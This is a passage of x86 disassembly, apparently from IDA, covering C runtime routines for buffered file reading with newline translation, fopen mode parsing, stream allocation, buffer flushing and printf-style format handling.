		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 2690800h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2690800h
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
